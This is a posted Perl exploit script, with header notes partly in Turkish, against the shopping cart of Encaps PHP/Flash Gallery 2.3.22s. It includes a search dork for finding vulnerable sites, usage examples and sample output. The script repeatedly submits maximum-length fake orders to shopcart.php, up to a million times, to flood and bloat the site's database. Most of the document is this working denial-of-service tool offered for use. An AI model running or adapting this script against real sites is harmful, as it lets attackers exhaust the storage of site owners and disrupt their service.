Hi guys,

#ref: http://www.milw00rm.com/exploits/5179

#!/usr/bin/perl -w
#Title		: Encaps PHP/Flash Gallery 2.3.22s Database Puffing Up Exploit
#Vendor         : http://www.encaps.net
#Download	: http://sourceforge.net/projects/encapsnet/files/
#Author		: ZoRLu / zorlu@milw00rm.com
#Website	: milw00rm.com / milw00rm.net / milw00rm.org
#Twitter	: https://twitter.com/milw00rm or @milw00rm
#Test		: Windows7 Ultimate
#Date		: 19/12/2014
#Thks		: exploit-db.com, packetstormsecurity.com, securityfocus.com, 
sebug.net and others
#BkiAdam	: Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )
#Dork           : intext:"encaps php gallery"
#Note           : must be shopcart is enable
#Desciption     : its be Turkish because i dont know very well speak 
english
#Script uzerinden begendiginiz herhangi bir urunu siparis ederken 
(mesela: http://server/path/shopcart.php?action=add&item_id=1)
#sizlerden isim, e-posta ve adres bilgileri isteniyor. Bu bilgilerin 
kontrolu ise (http://server/path/admin/shopcart.php)
#linki uzerinden yapilmakta yani girdiginiz her turlu veri burada kayit 
altina aliniyor haliyle veritabanina yaziliyor ve bu islem
#yapilirken kod filtreleme disinda hic bir veri giris kontrolu 
yapilmiyor. Evet item_name, address_name vb. parametreler icin karakter
#sinirlamasi yapilmis fakat bu verilerin ardarda gonderilmesini 
engelleyen herhangi bir uygulama soz konusu degil, istedigimiz kadar
#veriyi araliksiz gonderip veritabanina buyuk bir yukleme yapabiliyoruz 
haliyle veritabanini sisiriyoruz yani database puffing up ;)
#
#perl encaps.pl
#
#Usage: perl encaps.pl http://server /script_path/
#Exam1: perl encaps.pl http://server /test/
#Exam2: perl encaps.pl http://server /
#
#perl encaps.pl http://server /test/
#[+] Sending: 1
#[+] Sending: 2
#[+] Sending: 3
#[+] Sending: 4
#[+] Sending: 5
#[+] Sending: 6
#[+] Sending: 7
#[+] Sending: 8
#[+] Sending: 9
#[+] Sending: 10
#[+] Sending: 11
#Terminating on signal SIGINT(2) (i stopped exploit for stop ctrl+c 
please)
#You can look here for your send: http://server/test/admin/shopcart.php
#


use HTTP::Request::Common qw( POST );
use LWP::UserAgent;
use IO::Socket;
use strict;
use warnings;

sub hlp() {

system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\nUsage: perl ___FCKpd___0 http://server /script_path/ \n";
print "Exam1: perl ___FCKpd___0 http://server /test/ \n";
print "Exam2: perl ___FCKpd___0 http://server / \n";

}

if(@ARGV != 2)	{

hlp();
exit();

}

my $ua = LWP::UserAgent->new;
my $url = $ARGV[0];
my $path = $ARGV[1];
my $puffing = $url.$path."shopcart.php?action=add";
my $address = "A" x 255; #its limit  =\  its for
my $itemname = "A" x 255; #its limit =/  more loading at database

my $req = POST $puffing, [
    payer_business_name => 'TestName', #for loading its a little
    payer_email => 'salla@google.com', #for loading its a little
    address_name => $address, #its 255 character for more loading
    item_number1 => '1', #its item number not null
    item_name1 => $itemname, #its 255 character for more loading
    amount1 => '', #its maybe null because limit a little
    quantity1 => '', #its maybe null because limit a little
    mc_gross_1 => '', #its maybe null because limit a little
    num_cart_items => '1', #its not null
    action => 'checkout_submit', #its action and not null
];


my $resp = $ua->request($req);
unless ($resp->is_success) {

	print "[-] HTTP POST error code: ", $resp->code, "\n";
         print "[-] HTTP POST error message: ", $resp->message, "\n";

		 }

else {

	my $resp = $ua->request($req);
         my $message = $resp->decoded_content;
	my $regex = "Thank you for your interest, we will contact you soon.";
	unless ($message =~ /$regex/) {
	print "[-] Exploit Failed\n";
		 }

		 else {

		 for (my $i=1; $i<=1000000; $i++) {

		 my $resp = $ua->request($req);
		 print "[+] Sending: $i\n";

		 }


		 }

}